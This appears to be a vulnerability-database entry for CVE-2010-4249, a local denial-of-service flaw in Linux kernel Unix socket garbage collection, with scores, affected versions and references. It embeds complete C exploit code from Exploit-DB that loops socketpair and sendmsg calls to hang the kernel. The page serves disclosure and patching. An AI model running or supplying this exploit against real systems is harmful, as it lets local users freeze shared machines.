CVE-2010-4249 : Detail

CVE-2010-4249

0.05%V3
Local
2010-11-29
14h00 +00:00
2018-10-10
16h57 +00:00
CVE.org
NVD
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CVE Descriptions

The wait_for_unix_gc function in net/unix/garbage.c in the Linux kernel before 2.6.37-rc3-next-20101125 does not properly select times for garbage collection of inflight sockets, which allows local users to cause a denial of service (system hang) via crafted use of the socketpair and sendmsg system calls for SOCK_SEQPACKET sockets.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-400 Uncontrolled Resource Consumption
The product does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.9 AV:L/AC:L/Au:N/C:N/I:N/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 15622

Publication date : 2010-11-26
23h00 +00:00
Author : Key Night
EDB Verified : Yes

/* Simple kernel attack using socketpair. easy, 100% reproductiblle, works under guest. no way to protect :( Simple kernel attack using socketpair. easy, 100% reproductiblle, works under guest. no way to protect :( See source attached. Process become in state 'Running' but not killalble via kill -KILL. eat 100% CPU, eat all available internal file descriptors in kernel :( -- Segmentation fault */ #include <sys/socket.h> #include <sys/un.h> static int send_fd (int unix_fd, int fd) { struct msghdr msgh; struct cmsghdr *cmsg; char buf[CMSG_SPACE (sizeof (fd))]; memset (&msgh, 0, sizeof (msgh)); memset (buf, 0, sizeof (buf)); msgh.msg_control = buf; msgh.msg_controllen = sizeof (buf); cmsg = CMSG_FIRSTHDR (&msgh); cmsg->cmsg_len = CMSG_LEN (sizeof (fd)); cmsg->cmsg_level = SOL_SOCKET; cmsg->cmsg_type = SCM_RIGHTS; msgh.msg_controllen = cmsg->cmsg_len; memcpy (CMSG_DATA (cmsg), &fd, sizeof (fd)); return sendmsg (unix_fd, &msgh, 0); } int main () { int fd[2], ff[2]; int target; if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, fd)==-1) return 1; for (;;) { if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1) return 2; send_fd (ff[0], fd[0]); send_fd (ff[0], fd[1]); close (fd[1]); close (fd[0]); fd[0] = ff[0]; fd[1] = ff[1]; } }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (excluding) 2.6.37

Linux>>Linux_kernel >> Version 2.6.37

Linux>>Linux_kernel >> Version 2.6.37

Linux>>Linux_kernel >> Version 2.6.37

Configuraton 0

Fedoraproject>>Fedora >> Version 13

References

http://secunia.com/advisories/42354
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/46397
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.openwall.com/lists/oss-security/2010/11/24/10
Tags : mailing-list, x_refsource_MLIST
http://www.securityfocus.com/bid/45037
Tags : vdb-entry, x_refsource_BID
http://www.redhat.com/support/errata/RHSA-2011-0007.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.openwall.com/lists/oss-security/2010/11/24/2
Tags : mailing-list, x_refsource_MLIST
http://lkml.org/lkml/2010/11/23/395
Tags : mailing-list, x_refsource_MLIST
http://www.vupen.com/english/advisories/2010/3321
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/42963
Tags : third-party-advisory, x_refsource_SECUNIA
http://lkml.org/lkml/2010/11/25/8
Tags : mailing-list, x_refsource_MLIST
http://marc.info/?l=linux-netdev&m=129059035929046&w=2
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/42890
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2011-0162.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.exploit-db.com/exploits/15622/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.vupen.com/english/advisories/2011/0168
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/42745
Tags : third-party-advisory, x_refsource_SECUNIA
http://lkml.org/lkml/2010/11/23/450
Tags : mailing-list, x_refsource_MLIST